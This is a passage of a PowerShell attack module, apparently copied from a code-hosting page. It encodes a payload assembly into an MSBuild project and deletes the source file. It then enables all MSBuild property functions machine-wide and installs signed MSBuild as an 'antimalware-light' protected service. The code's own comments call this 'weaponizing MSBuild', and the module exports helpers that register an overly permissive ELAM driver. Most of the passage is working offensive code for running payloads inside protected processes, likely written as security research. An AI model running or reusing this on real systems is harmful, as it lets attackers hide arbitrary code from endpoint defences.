||||
$AssemblyEncoded = [Convert]::ToBase64String([IO.File]::ReadAllBytes("$PowerShellRunnerFilePath")).TrimEnd()
|
||||
|
||||
Remove-Item -Path $PowerShellRunnerFilePath
|
||||
|
||||
$MSBuildProjectContent = $MSBuildProjectTemplate.Replace('REPLACEME', $AssemblyEncoded)
|
||||
|
||||
Out-File -InputObject $MSBuildProjectContent -FilePath $MSBuildProjectFilePath
|
||||
|
||||
# Step #4 Run Permit MSBuild to enable all property function methods
|
||||
Write-Verbose 'Setting %MSBUILDENABLEALLPROPERTYFUNCTIONS% to 1 in order to permit property function execution in MSBuild.'
|
||||
|
||||
# Note: this is only specific to MSBuild abuse. This step only pertains to weaponizing MSBuild in this scenario. This step is unrelated to antimalware-light protected service abuse.
|
||||
[Environment]::SetEnvironmentVariable('MSBUILDENABLEALLPROPERTYFUNCTIONS', '1', [EnvironmentVariableTarget]::Machine)
|
||||
|
||||
$ExistingProtectedService = Get-CimInstance -ClassName Win32_Service -Filter "Name = '$ProtectedServiceName'"
|
||||
|
||||
# Step #5 Install MSBuild as an antimalware-light service
|
||||
if ($SkipServiceInstall) {
|
||||
if ($ExistingProtectedService) {
|
||||
Write-Verbose "Starting the following service: $ProtectedServiceName"
|
||||
$null = Invoke-CimMethod -InputObject $ExistingProtectedService -MethodName StartService
|
||||
}
|
||||
} else {
|
||||
if (-not $ExistingProtectedService) {
|
||||
# Only install the service if it wasn't previously installed.
|
||||
Write-Verbose "Installing and starting the following antimalware-light service: $ProtectedServiceName"
|
||||
Install-ProtectedService -ServiceName $ProtectedServiceName -DisplayName $ProtectedServiceName -ExecutableFilePath $ResolvedMicrosoftSignedMSBuildPath -Arguments $MSBuildProjectFilePath
|
||||
} else {
|
||||
Write-Warning "The `"$ProtectedServiceName`" service is already installed. If you just want to update the payload to execute, run Invoke-AntimalwareLightCommand with the -SkipServiceInstall switch."
|
||||
$null = Invoke-CimMethod -InputObject $ExistingProtectedService -MethodName StartService
|
||||
}
|
||||
}
|
||||
|
||||
# Validate that the service was installed or that it was installed previously
|
||||
$ProtectedService = Get-CimInstance -ClassName Win32_Service -Filter "Name = '$ProtectedServiceName'" -Property PathName
|
||||
|
||||
if (-not $ProtectedService) {
|
||||
Write-Warning "Installed service information could not be retrieved for the following service: $ProtectedServiceName"
|
||||
}
|
||||
|
||||
[PSCustomObject] @{
|
||||
ELAMDriverFilePath = $ResolvedOverlyPermissiveELAMDriverPath
|
||||
ServiceName = $ProtectedServiceName
|
||||
ServicePathName = $ProtectedService.PathName
|
||||
MSBuildFilePath = $ResolvedMicrosoftSignedMSBuildPath
|
||||
MSBuildFileHash = $MSBuildHash.Hash
|
||||
MSBuildProjectFilePath = $MSBuildProjectFilePath
|
||||
}
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Get-ProcessProtectionLevel, Get-ElamCertInfo, Register-ELAMDriver, Install-ProtectedService, Invoke-AntimalwareLightCommand
|
||||
Binary file not shown.
Reference in New Issue
Block a user